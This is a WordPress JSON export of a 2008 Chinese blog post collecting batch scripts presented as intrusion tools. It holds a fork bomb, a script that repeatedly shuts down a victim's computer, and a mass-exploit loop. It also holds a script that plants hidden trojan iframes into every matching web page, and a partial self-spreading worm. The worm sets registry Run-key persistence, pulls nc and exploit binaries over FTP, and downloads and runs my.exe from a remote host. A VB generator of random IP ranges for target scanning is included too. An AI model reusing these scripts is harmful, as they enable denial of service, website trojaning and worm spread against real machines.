{"id":4,"date":"2008-07-13T23:02:00","date_gmt":"2008-07-13T03:02:00","guid":{"rendered":""},"modified":"2013-11-22T21:04:19","modified_gmt":"2013-11-22T13:04:19","slug":"%e5%90%84%e7%a7%8d%e5%85%a5%e4%be%b5%e6%89%b9%e5%a4%84%e7%90%86","status":"publish","type":"post","link":"https:\/\/kyle.ai\/blog\/4.html","title":{"rendered":"\u5404\u79cd\u5165\u4fb5\u6279\u5904\u7406"},"content":{"rendered":"

\u7b2c\u4e00\u4e2a:\u8ba9\u522b\u4eba\u5185\u5b58OVER(\u903c\u4ed6\u91cd\u542f)
\n@echo off
\nstart cmd
\n%0
\n\u5c31\u8fd93\u884c\u4e86<\/p>\n

\u7b2c\u4e8c\u4e2a:\u8ba9\u5bf9\u65b9\u91cd\u542f\u6307\u5b9a\u6b21\u6570(\u5bb3\u4eba\u4e13\u7528)
\n@echo off
\nif not exist c:\\1.txt echo. >c:\\1.txt & goto err1
\nif not exist c:\\2.txt echo. >c:\\2.txt & goto err1
\nif not exist c:\\3.txt echo. >c:\\3.txt & goto err1
\nif not exist c:\\4.txt echo. >c:\\4.txt & goto err1
\nif not exist c:\\5.txt echo. >c:\\5.txt & goto err1
\ngoto err2
\n:err1
\nshutdown -s -t 0
\n:err2
\n\u4e0a\u9762\u53ef\u4ee5\u8ba9\u5bf9\u65b9\u7535\u8111\u91cd\u542f5\u6b21\u540e\u4e0d\u5728\u91cd\u542f<\/p>\n

\u7b2c\u4e09\u4e2a:\u81ea\u52a8\u8e22\u4eba(3389\u8089\u673a\u4fdd\u62a4\u81ea\u5df1\u4e13\u7528)
\n@echo off
\nlogoff 1
\ndel log.bat
\nlogoff\u540e\u9762\u76841\u6539\u6210\u81ea\u5df1\u767b\u9646\u7684ID\u53f7,\u7528query user\u67e5\u770b<\/p>\n

\u7b2c\u56db\u4e2a: \u6279\u91cf\u81ea\u52a8\u6ea2\u51fa
\n@for \/f %%i in (result.txt) do 42 %%i 58.44.89.158 521
\n\u5148\u81ea\u5df1\u7528NC\u76d1\u542c\u7aef\u53e3,\u591a\u5f00\u51e0\u4e2a,\u7136\u540e\u6307\u884c,\u5c31\u81ea\u52a8\u6ea2\u51fa\u4e86<\/p>\n

\u7b2c\u4e94\u4e2a:\u81ea\u52a8\u6302\u9a6c\u6539\u4e3b\u9875
\n@echo off
\ncls
\nrem \u76f4\u63a5\u6253\u6279\u5904\u7406\u540d\u5b57\u5c31\u6709\u5e2e\u52a9
\ntitle \u6279\u91cf\u6302\u9a6c,\u6539\u9996\u9875(\u4f24\u8111\u7b4b QQ:447228437).
\ncolor A
\nset pan=%1
\nset ye=%2
\nset dai=%3
\nif “%pan%”==”” goto e1
\nif “%ye%”==”” goto e1
\nif “%dai%”==”” goto e1
\nif “%dai%”==”htm.txt” goto u1
\nforfiles \/p %pan% \/m %ye% \/s \/c “cmd \/c if @isdir==FALSE echo ^<8))e src=”http:\/\/%dai%” width=”0″ height=”0″ frameborder=”0″^> >>@path”
\necho.
\necho \u4ee3\u7801\u5168\u90e8\u63d2\u5165\u5b8c\u6bd5!!!!
\necho.
\npause
\ngoto e1
\n:u1
\necho \u60a8\u73b0\u5728\u7684\u64cd\u4f5c\u5c06\u4f7f%pan%\u76d8\u4e0b,\u5168\u90e8\u540d\u4e3a%ye%\u7684\u5185\u5bb9\u53d8\u4e3a\u60a8\u8981\u66f4\u6539\u7684\u5185\u5bb9.
\necho \u8fd9\u5c06\u662f\u975e\u5e38\u5371\u9669\u7684,\u60a8\u771f\u7684\u8981\u8fd9\u6837\u505a? \u56de\u8f66\u5374\u8ba4,Ctrl+c\u53d6\u6d88\u64cd\u4f5c.
\npause
\nforfiles \/p %pan% \/m %ye% \/s \/c “cmd \/c if @isdir==FALSE copy %1\\htm.txt @path \/y”
\necho.
\necho \u9996\u9875\u5168\u90e8\u66f4\u6539\u5b8c\u5fc5!!!!\u5982\u679c\u60a8\u53d1\u73b0\u6ca1\u6709\u66ff\u6362\u6210\u529f,\u8bf7\u5c06%ye%\u6587\u4ef6\u53ea\u8bfb\u5c5e\u6027\u53bb\u6389.
\necho.
\npause
\n:e1
\necho.
\necho \u672c\u6279\u5904\u7406\u53ea\u9002\u7528\u4e8e2003\u7cfb\u7edf,\u5176\u4ed6\u7cfb\u7edf\u8981\u4f7f\u7528,\u8bf7\u5c06forfiles.exe\u62f7\u8d1d\u81f3\u7cfb\u7edf\u76d8system32\u76ee\u5f55\u4e0b
\necho \u7528\u6cd5:snj ^<\u641c\u7d22\u76d8\u7b26^> ^<\u6587\u4ef6\u540d^> ^<\u7f51\u9a6c\u5730\u5740^>
\necho \u4f8b\u5b50:snj d:\\ index.asp www.muma.com\/mm.htm<\/a>
\necho \u6279\u5904\u7406\u5c06\u81ea\u52a8\u6dfb\u52a0^<8))e^>\u6807\u8bb0
\necho.
\necho \u5982\u679c\u60a8\u8981\u66f4\u6539\u5168\u90e8\u7f51\u7ad9\u7684\u9996\u9875!\u8bf7\u5728\u6279\u5904\u7406\u6587\u4ef6\u6240\u5728\u76ee\u5f55\u4e0b,\u65b0\u5efa\u4e00\u4e2a\u540d\u4e3ahtm.txt\u7684\u6587\u672c\u6587\u4ef6.
\necho \u7136\u540e\u5c06\u8981\u66f4\u6539\u7684\u4ee3\u7801\u52a0COPY\u5230\u91cc\u9762\u4fdd\u5b58.\u7136\u540e\u5c06\u547d\u4ee4\u7684^<\u7f51\u9a6c\u5730\u5740^>\u9879\u8f93\u5165\u4e3ahtm.txt\u5373\u53ef.
\necho \u4f8b\u5b50:snj d:\\ index.asp htm.txt
\necho.
\necho \u4e3a\u4e86\u80fd\u51c6\u786e\u65e0\u8bef\u6267\u884c\u6279\u5904\u7406\u8bf7\u6700\u597d\u5148\u628a\u8bb0\u4e8b\u672c\u7684”\u81ea\u52a8\u6362\u884c\u529f\u80fd\u53bb\u6389”,\u8ba9\u547d\u4ee4\u4fdd\u6301\u5728\u4e00\u884c\u624d\u80fd\u6b63\u786e\u6267\u884c.
\necho.
\necho \u4f7f\u7528\u6b64\u6279\u5904\u7406\u9020\u6210\u4e00\u5207\u540e\u679c\u672c\u4eba\u6982\u4e0d\u8d1f\u8d23,\u8bf7\u5927\u5bb6\u8c28\u614e\u4f7f\u7528!
\necho.<\/p>\n

\u7b2c\u516d\u4e2a:\u5229\u7528\u6279\u5904\u7406\u7f16\u5199\u5229\u7528\u7cfb\u7edf\u6f0f\u6d1e\u4f20\u64ad\u7684\u8815\u866b\u75c5\u6bd2
\n\u672c\u6765\u60f3\u5199\u5b8c\u540e\u5728\u505a\u6559\u7a0b,\u8981\u53bb\u5b66\u6821\u4e86,\u6240\u4ee5\u5148\u628a\u601d\u8def\u544a\u8bc9\u5927\u5bb6,\u5927\u5bb6\u53ef\u4ee5\u5148\u81ea\u5df1\u5199\u5199,\u6211\u6709\u65f6\u95f4\u5199\u5b8c\u53d1\u5230\u7fa4\u91cc.
\n\u8fd9\u4e9b\u662f\u6211\u672a\u5b8c\u6210\u7684\u6279\u5904\u7406,\u5927\u5bb6\u53ef\u4ee5\u5728\u6b64\u57fa\u7840\u4e0a\u6309\u7167\u6211\u4e0b\u9762\u8bf4\u7684\u601d\u8def\u7ee7\u7eed\u5199\u5b8c
\ndel c:\\42.exe
\ndel c:\\nc.exe
\ndel c:\\ip.exe
\necho dim wsh > %systemroot%\\help\\test.vbs
\necho set wsh=CreateObject(“WScript.Shell”) >> %systemroot%\\help\\test.vbs
\necho wsh.run “cmd \/c %systemroot%\\help\\nc -v -l -p 810 < %systemroot%\\help\\or.txt”,0 >> %systemroot%\\help\\test.vbs
\necho dim wsh > %systemroot%\\help\\test2.vbs
\necho set wsh=CreateObject(“WScript.Shell”) >> %systemroot%\\help\\test2.vbs
\necho wsh.run “cmd \/c start %systemroot%\\help\\good.bat”,0 >> %systemroot%\\help\\test2.vbs
\necho open 10.0.0.5 > %systemroot%\\help\\ftp.txt
\necho open myyes >> %systemroot%\\help\\ftp.txt
\necho 1 >> %systemroot%\\help\\ftp.txt
\necho binary >> %systemroot%\\help\\ftp.txt
\necho get 42.exe c:\\42.exe >> %systemroot%\\help\\ftp.txt
\necho get nc.exe c:\\nc.exe >> %systemroot%\\help\\ftp.txt
\necho get ip.exe c:\\ip.exe >> %systemroot%\\help\\ftp.txt
\necho bye >> %systemroot%\\help\\ftp.txt
\necho echo Set xPost = CreateObject(“Microsoft.XMLHTTP”) ^>1.vbs > %systemroot%\\help\\or.txt
\necho echo xPost.Open “GET”,”http:\/\/10.0.0.5\/my.exe&quo…,0 ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo xPost.Send() ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo Set sGet = CreateObject(“ADODB.Stream”) ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo sGet.Mode = 3 ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo sGet.Type = 1 ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo sGet.Write(xPost.responseBody) ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo sGet.SaveToFile “d:\\my.exe”,2 ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo 1.vbs ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho echo my.exe ^>^>1.vbs >> %systemroot%\\help\\or.txt
\necho Windows Registry Editor Version 5.00 > %systemroot%\\help\\1.reg
\necho [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run] >> %systemroot%\\help\\1.reg
\necho “SKYNET Personal FireWall”=”F:\\\\\u7cfb\u7edf\u5b89\u5168\u5de5\u5177\\\\FireWall\\\\PFW.exe” >> %systemroot%\\help\\1.reg
\necho “1”=”%systemroot%\\\\help\\\\test2.vbs” >> %systemroot%\\help\\1.reg<\/p>\n

if not exist %systemroot%\\help\\good.bat copy good.bat %systemroot%\\help\\good.bat & %systemroot%\\help\\test2.vbs & del good.bat
\nregedit -s %systemroot%\\help\\1.reg
\nftp -s:%systemroot%\\help\\ftp.txt
\nmove c:\\nc.exe %systemroot%\\help\\ \/y
\nmove c:\\42.exe %systemroot%\\help\\ \/y
\nmove c:\\ip.exe %systemroot%\\help\\ \/y
\n%systemroot%\\help\\test.vbs
\nrem for \/f %%i in (result1.txt) do set a=%%i
\nrem for \/f %%j in (result.txt) do 42 %a% %%j 810
\n\u51c6\u5907:
\n1:\u627e\u4e00\u4e2a\u53cd\u5411\u8fde\u63a5\u7684\u6ea2\u51fa\u653b\u51fb\u7a0b\u5e8f,\u5982ms06040\u6f0f\u6d1e
\n2:\u627e\u5440\u4e00\u4e2a\u514d\u8d39FTP\u7a7a\u95f4,\u6700\u597d\u662f\u9001\u57df\u540d\u7684
\n3:\u5229\u7528\u4f60\u6240\u77e5\u9053\u7684\u9ad8\u7ea7\u8bed\u8a00\u7f16\u5199\u4e00\u4e2a,\u80fd\u751f\u6210\u968f\u673a\u8303\u56f4IP\u5730\u5740\u548c\u627e\u5230\u672c\u673aIP\u7684\u5de5\u5177.
\n\u601d\u8def:
\n\u7528for\u8bed\u53e5\u5bf9\u6307\u5b9a\u6587\u672c\u91cc\u7684IP\u8fdb\u884c\u6ea2\u51fa,\u7136\u540e\u7528if\u8bed\u53e5\u5224\u65ad\u662f\u5426\u6ea2\u51fa\u6210\u529f, \u5982\u679c\u6210\u529f\u5f00\u542f\u4e00\u4e2aNC\u76d1\u542c\u7aef\u53e3,NC\u540e\u9762\u5e26\u4e00\u4e2a < \u8f93\u5165\u7b26\u53f7
\n\u8f93\u5165\u7684\u5185\u5bb9\u4e3a\u4e0b\u8f7d\u672c\u6279\u5904\u7406\u6587\u4ef6,\u7136\u540e\u6267\u884c\u8fd9\u4e2a\u6279\u5904\u7406.\u8fd9\u6837\u88ab\u6ea2\u51fa\u7684\u673a\u5668\u5c31\u53c8\u4f1a\u5728\u4ed6\u90a3\u91cc\u8fd0\u884c\u6211\u95e8\u7684\u6279\u5904\u7406,\u4ece\u800c\u5230\u81ea\u52a8\u4f20\u64ad\u7684\u76ee\u7684.<\/p>\n

\u628a\u6279\u5904\u7406\u751f\u6210\u7684\u6587\u4ef6\u96c6\u4e2d\u653e\u5230\u4e00\u4e2a\u76ee\u5f55\u4e0b,\u53ef\u4ee5%systemroot%\u7cfb\u7edf\u53d8\u91cf\u76f4\u63a5\u653e\u5230\u7cfb\u7edf\u76ee\u5f55\u4e0b
\n\u56e0\u4e3a\u6279\u5904\u7406\u8fd0\u884c\u540e\u4f1a\u95ea\u51fa\u547d\u4ee4\u884c\u7a97\u53e3,\u6211\u95e8\u53ef\u4ee5\u5229\u7528VBS\u811a\u672c\u6765\u8fd0\u884c\u6211\u4eec\u7684\u6279\u5904\u7406,\u8fd9\u6837\u5c31\u4e0d\u4f1a\u6709\u4efb\u4f55\u7a97\u53e3\u51fa\u73b0,\u811a\u672c\u5982\u4e0b
\necho dim wsh > %systemroot%\\help\\test.vbs
\necho set wsh=CreateObject(“WScript.Shell”) >> %systemroot%\\help\\test.vbs
\necho wsh.run “cmd \/c %systemroot%\\help\\nc -v -l -p 810 < %systemroot%\\help\\or.txt”,0 >> %systemroot%\\help\\test.vbs<\/p>\n

\u751f\u6210\u968f\u673aIP\u5de5\u5177\u7684VB\u4ee3\u7801
\nPrivate Sub Form_Load()
\nDim fso As New FileSystemObject
\nDim a, b, c, d As Integer
\nDim ph, e As String
\nph = App.Path & “\\” & “ip.txt”
\nRandomize
\na = Int(253 * Rnd + 1)
\nb = Int(253 * Rnd + 1)
\nc = Int(240 * Rnd + 1)
\nOpen ph For Output As #1
\nFor i = c To c + 7
\nFor j = 1 To 254
\ne = a & “.” & b & “.” & i & “.” & j
\nPrint #1, e
\nDoEvents
\nNext j
\nNext i
\nClose #1
\nUnload Me
\nEnd Sub<\/p>\n","protected":false},"excerpt":{"rendered":"

\u7b2c\u4e00\u4e2a:\u8ba9\u522b\u4eba\u5185\u5b58OVER(\u903c\u4ed6\u91cd\u542f) @echo off start cmd %0 \u5c31\u8fd93\u884c\u4e86 \u7b2c\u4e8c\u4e2a:\u8ba9\u5bf9 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-4","post","type-post","status-publish","format-standard","hentry","category-skill"],"_links":{"self":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/4","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/comments?post=4"}],"version-history":[{"count":1,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/4\/revisions"}],"predecessor-version":[{"id":5143,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/posts\/4\/revisions\/5143"}],"wp:attachment":[{"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/media?parent=4"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/categories?post=4"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kyle.ai\/blog\/wp-json\/wp\/v2\/tags?post=4"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}